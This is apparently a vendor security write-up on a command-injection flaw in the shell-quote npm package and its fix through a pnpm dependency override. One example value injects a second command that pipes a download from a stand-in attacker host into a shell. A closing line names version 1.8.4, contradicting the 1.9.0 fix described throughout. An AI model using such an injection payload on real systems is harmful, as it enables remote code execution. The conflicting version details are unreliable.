Introduction
In a production JavaScript monorepo using pnpm's workspace management, Trivy's static analysis flagged a critical vulnerability lurking in the dependency tree: CVE-2026-9277 in shell-quote version 1.8.3. The pnpm-lock.yaml file revealed that multiple packages—including concurrently and react-devtools-core—depended on this vulnerable version. The flaw? A failure to escape line terminators when quoting shell arguments, opening the door to arbitrary code execution through command injection.
This vulnerability is particularly insidious because shell-quote is specifically designed to prevent shell injection. When a security utility itself becomes the attack vector, developers face a dangerous false sense of security. The fix demonstrates how dependency overrides in pnpm can rapidly neutralize such threats across complex dependency trees.
The Vulnerability Explained
The Root Cause: Unescaped Line Terminators
shell-quote is a widely-used npm package that escapes shell arguments to safely pass them to shell commands. Version 1.8.3 contained a critical oversight: line terminators (\n, \r) were not properly escaped when constructing quoted shell strings.
When untrusted input containing newline characters reaches shell-quote, the resulting string can break out of its quoted context and inject additional shell commands. Here's how the vulnerable dependency appeared in pnpm-lock.yaml:
shell-quote@1.8.3:
resolution: {integrity: sha512-ObmnIF4hXNg1BqhnHmgbDETF8dLPCggZWBjkQfhZpbszZnYur5DUljTcCHii5LC3J5E0yeO/1LIMyH+UvHQgyw==}
engines: {node: '>= 0.4'}
This version was referenced in multiple dependency paths:
concurrently@9.1.2→shell-quote@1.8.3(line 32244)react-devtools-core@6.1.5→shell-quote@1.8.3(line 37022)
Attack Scenario: Breaking Quote Context
Consider how shell-quote might be used in a build script:
const quote = require('shell-quote').quote;
const userInput = process.env.SCRIPT_NAME; // attacker-controlled
const command = `npm run ${quote([userInput])}`;
exec(command);
With version 1.8.3, an attacker could set:
SCRIPT_NAME=$'malicious\n; curl attacker.com/exfil | sh #'
The unescaped newline terminates the current command context, allowing ; curl attacker.com/exfil | sh # to execute as a separate shell command. The # comments out any trailing syntax, ensuring clean execution.
Real-World Impact
In this repository, the vulnerability path flows through:
- Development tooling:
concurrentlyusesshell-quoteto run multiple npm scripts - React debugging:
react-devtools-coreuses it for shell command construction
While flagged as "not confirmed reachable" by Trivy, the presence in build and development tools creates significant risk—CI/CD pipelines often execute these tools with elevated privileges, and development environments may process untrusted input.
The Fix
Dependency Override Strategy
Rather than waiting for transitive dependencies to update, the fix uses pnpm overrides to force the entire dependency tree to version 1.9.0:
package.json (lines 203-208):
"pnpm": {
"overrides": {
"glob": ">=10.5.0",
"@anthropic-ai/sdk": ">=0.90.0",
"hono": ">=4.12.4",
"@expo/dom-webview": "57.0.1",
"shell-quote": "1.9.0"
}
}
pnpm-lock.yaml (line 192):
overrides:
'@anthropic-ai/sdk': '>=0.90.0'
hono: '>=4.12.4'
'@expo/dom-webview': 57.0.1
shell-quote: 1.9.0
Version Upgrade Details
The lockfile shows the precise version transition:
# BEFORE (vulnerable)
shell-quote@1.8.3:
resolution: {integrity: sha512-ObmnIF4hXNg1BqhnHmgbDETF8dLPCggZWBjkQfhZpbszZnYur5DUljTcCHii5LC3J5E0yeO/1LIMyH+UvHQgyw==}
engines: {node: '>= 0.4'}
# AFTER (patched)
shell-quote@1.9.0:
resolution: {integrity: sha512-Iov+JwFv/2HcTpcwNMKd8+IWNb8tboQJNQTkAY/LLVK7gGH9jy+LGkVqPxfekHl+yMmiqXszdGWXgkfml7hjqA==}
engines: {node: '>= 0.4'}
Propagation Through Dependency Tree
The fix updates all consuming packages in the lockfile snapshots:
| Package | Before | After |
|---|---|---|
concurrently |
shell-quote: 1.8.3 |
shell-quote: 1.9.0 |
react-devtools-core |
shell-quote: 1.8.3 |
shell-quote: 1.9.0 |
# Line 32244: concurrently dependency
- shell-quote: 1.8.3
+ shell-quote: 1.9.0
# Line 37022: react-devtools-core dependency
- shell-quote: 1.8.3
+ shell-quote: 1.9.0
What Changed in 1.9.0?
Version 1.9.0 properly escapes line terminators by:
- Escaping
\n(newline) as$'\n'or equivalent safe encoding - Escaping
\r(carriage return) to prevent\r\nbypasses - Maintaining backward compatibility for all valid inputs
The engine requirement changed from >= 0.4 to >= 0.4 (unchanged), ensuring broad compatibility while tightening security.
Prevention & Best Practices
Dependency Management Strategies
| Approach | Implementation | Best For |
|---|---|---|
| Overrides | pnpm.overrides / resolutions |
Emergency patching |
| Lockfile auditing | pnpm audit / Trivy |
Continuous monitoring |
| Pinning | Exact versions | Reproducible builds |
| SCA tools | GitHub Dependabot, Snyk | Automated detection |
Secure Shell Handling in Node.js
Avoid shell execution when possible:
// DANGEROUS: Uses shell
exec(`npm run ${scriptName}`);
// SAFER: Array-based, no shell interpretation
execFile('npm', ['run', scriptName]);
If shell is required, validate and escape:
const { quote } = require('shell-quote');
// Ensure using patched version (≥1.9.0)
const safeCommand = quote(['npm', 'run', scriptName]);
Detection Tools
- Trivy: Detected CVE-2026-9277 via
pnpm-lock.yamlscanning - npm audit: Checks against NPM advisory database
- pnpm audit: Native pnpm vulnerability scanning
- Dependabot: Automated PRs for vulnerable dependencies
Security Standards
- CWE-78: OS Command Injection
- OWASP ASVS V5.3: Output encoding and injection prevention
- OWASP Cheat Sheet: Command Injection Prevention
Key Takeaways
-
Security utilities can become vulnerabilities:
shell-quoteexists to prevent injection, yet versions ≤1.8.3 were themselves exploitable—never assume dependency safety -
Line terminators are shell metacharacters: Newlines and carriage returns can terminate command contexts; proper escaping must cover all control characters, not just quotes and backslashes
-
pnpm overrides enable rapid response: The
pnpm.overridesmechanism allows immediate patching without waiting for transitive dependency maintainers -
Lockfiles require continuous auditing:
pnpm-lock.yamlcontained three instances of the vulnerable version (direct resolution + two snapshot references), all requiring synchronization -
Development tools run with elevated risk: Build scripts and development servers often execute with permissions that amplify the impact of injection vulnerabilities
How Orbis AppSec Detected This
Source: User-controlled input reaching shell command construction through environment variables or configuration files processed by build tooling
Sink: shell-quote@1.8.3 package functions used by concurrently (line 32244) and react-devtools-core (line 37022) in pnpm-lock.yaml
Missing control: Proper escaping of line terminator characters (\n, \r) in shell argument quoting—version 1.8.3 failed to neutralize these control characters
CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Fix: Added "shell-quote": "1.9.0" to pnpm.overrides in package.json and regenerated pnpm-lock.yaml, forcing all transitive dependencies to use the patched version with proper line terminator escaping
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
CVE-2026-9277 demonstrates that even security-focused dependencies require vigilant maintenance. The shell-quote package's failure to escape line terminators created a critical vulnerability in an otherwise robust defense against command injection. The fix—upgrading to version 1.9.0 through pnpm's override system—shows how modern package managers provide powerful tools for rapid vulnerability response.
For development teams, this incident reinforces the importance of: continuous dependency scanning with tools like Trivy, understanding the full transitive dependency tree through lockfile analysis, and maintaining override capabilities for emergency patching. In the arms race of software security, the ability to respond quickly to newly disclosed vulnerabilities is as important as writing secure code in the first place.
References
- CWE-78: https://cwe.mitre.org/data/definitions/78.html
- OWASP Command Injection Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Command_Injection_Cheat_Sheet.html
- shell-quote npm package: https://www.npmjs.com/package/shell-quote
- Semgrep rule for command injection: https://semgrep.dev/r?q=command-injection
- fix: upgrade shell-quote to 1.8.4 (CVE-2026-9277)